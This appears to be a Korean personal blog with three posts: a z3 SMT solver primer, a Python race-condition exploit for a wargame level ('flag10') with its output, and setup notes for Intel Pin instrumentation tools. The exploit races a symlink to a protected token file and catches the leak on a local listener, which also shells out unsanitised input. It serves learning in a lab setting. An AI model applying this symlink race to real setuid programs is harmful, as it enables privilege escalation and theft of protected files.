Be myself

z3는 smt solver의 일종인데 간단하게 각종 수식들의 해답을 구해주는 일종의 공학계산기 역할이다. ㅋㅋ
소프트웨어 테스팅이나 생물학쪽, 역학 등등 여러분야에서 많이 쓰이는것 같다.

잘 정리된 문서는 다음과 같다: 튜토리얼 

일단 z3 설치는 https://github.com/Z3Prover/z3 여기 그대로 따라하면 됨
일단 간단한 연립방정식은 다음과 같이 풀린다

변수를 실수범위 내에서 구하려면 다음과 같이 하면 됨.

또 그냥 solve메서드로 풀지 말고 Solver라는 객체를 생성해서 수식을 풀 수도 있다. 다음과 같이.

그리고 add 메서드로 로 수식 조건(constraints)를 추가하는데 잘못된 add를 막기 위해 약간의 스냅샷(?)기능이 존재한다 push() 와 pop()이다. 이를 이용하면 이전 상태로 돌아갈 수 있다.

마지막으로 함수기능을 설명하자면, 일단 간략한 정의는 다음과 같다.

Function('함수명', 입력값, 출력값)

결과 값은 다음과 같이 해석하면 된다. 만약 y =0 이고 x =2 이고, f(x)의 상태는 다음과 같아야 한다. f(2) = 1, f(1) = 2, f(아무값) = 1 따라서, f(f(x))는 x가 2이므로 0이 성립( 합성함수 이므로) 하고 x+y ==2또한 성립한다.

...2시간 동안 삽질해서 푼 레이스컨디션.. 파이썬 코드로 작성했다.

import os
import socket
import subprocess
import threading
import time
import signal

def read_until(s,msg):
	tmp = ""
	while True:
		tmp += s.recv(1)
		if msg in tmp:
			print tmp
			return

def GetFlag():
	s = socket.socket()
	Port = ('localhost',18211)
	s.bind(Port)
	s.listen(10)
	while True:
		cs,addr = s.accept()
		#print "[*]serer start "
		pid = os.fork()
		if pid==0:
			print "[*]server connection success ! "
			print read_until(cs,".oO Oo.")
			time.sleep(1)
			buf = cs.recv(100)
			print "[*]file is "+buf
			os.system("echo \""+buf+"\"> result")
			exit()
		else:
			os.waitpid(pid,0)
def Racefile():
	while True:
		os.system("rm -rf token")
		os.system("echo 'aaa' >> token")
		os.system("rm -rf token;ln -sf /home/flag10/token token")
			
def Attack():
	while True:
		args = "/home/flag10/flag10 token 127.0.0.1"
		proc = subprocess.Popen(args,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE)
		output = proc.communicate()[0]
			
		#print "[*]result: %s" %(output)
		os.system("rm -rf token")

def main():
	pid = os.fork()
	if pid == 0:
		Racefile()

	pid2 = os.fork()
	if pid2 == 0:
		GetFlag()

	Attack()

if __name__ == '__main__':
	main()

ex.py

[*]server connection success ! 

.oO Oo.

None

[*]file is 

615a2ce1-b2b5-4c76-8eed-8aa5c4015c27

[*]server connection success ! 

일단 공식 홈페이지에서 .tar 을 받는다. 다운로드
pin 과 pin tool은 다르다. pin의 자세한 매커니즘은 잘 모르겠지만 intermediate representation(IR) 을 이용해서 각각의 인스트럭쳐가 해석된다. 이 때 각각 해석되는 변수들은 SSA-based(Static Single Assignment) 형태로 다뤄진다고 한다. SSA=based는 만약 a=3; a += 34; 라는 코드가 있다면 첫번째 a와 두번 째 a를 다르게 취급하는 형태 이다. 유사한 툴로는 Valgrind가 있다.

pin tool은 사용자가 공유라이브러리의 형태로 만들수 있고, pin에서 각각 인스트럭쳐를 fetch 하기 전, execute 한 후 , 라이브러리 로딩등의 상황에서 사용자가 원하는 행위들을 하도록 하게 해준다.
따라서 각각 상황에서 메모리 Status나 레지스터 값 등을 확인 할 수 있다.

이를 보안적 관점에서 바라보면, 만약 간단한 크랙미같은 것이 있다고 한다면, 각 if 문 전에 사용자 입력 값들이 어떻게 들어가는지 확인하고, 각각 값들을 심볼로 설정해 smt_solver 등과 함께 if문에 조건에 맞는 input값을 찾아내어 풀수있다. (이에 대한 것들은 구글링이나 http://shell-storm.org/blog/Taint-analysis-and-pattern-matching-with-Pin/ 여기를 참고하자) 더 발전해선 AEG(auto exploit generation) 등이나 제네릭한 퍼져도 만들 수 있을 것 같다.

아무튼, 일단 설치를 완료하면 pin을 컴파일 해야 할 것 같은데, 압푹을 풀면 바이너리가 있고 다양한 소스코드 예제들이 많다.. 메뉴얼과 튜토리얼 등을 참고해서 분석해 봐야겠다.

일단 pin 의 위치경로를 /etc/environment 에 설정하자. 그 다음 여기를 한번 보자.

다양한 소스들이 많다.. MyPinTool, ManualExamples... 등에 들어가서 makefile을 보면 makefile.rules을 인클루드 하고 있고 룰을 보면 다음과 같다 

컴파일 방법은 다음과 같다.

$ cd source/tools/ManualExamples
$ make obj-intel64/inscount0.so TARGET=intel64

$ cd source/tools/ManualExamples
$ make obj-ia32/inscount0.so TARGET=ia32

이 때 자기가 직접 만든 코드를 컴파일 하려고 하면 makefile.rules 에서 TEST_TOOL_ROOTS에 자기가 만든 파일명을 더 추가하고 위의 방법으로 컴파일 하면 된다. 실행은 다음과 같다.

$ ../../../pin -t obj-intel64/inscount0.so -- /bin/ls
Makefile          atrace.o     imageload.out  itrace      proccount
Makefile.example  imageload    inscount0      itrace.o    proccount.o
atrace            imageload.o  inscount0.o    itrace.out
$ cat inscount.out
Count 422838
$

핀 사이트 -> 사이트 가기 
핀 유저 가이드-> 유저 가이드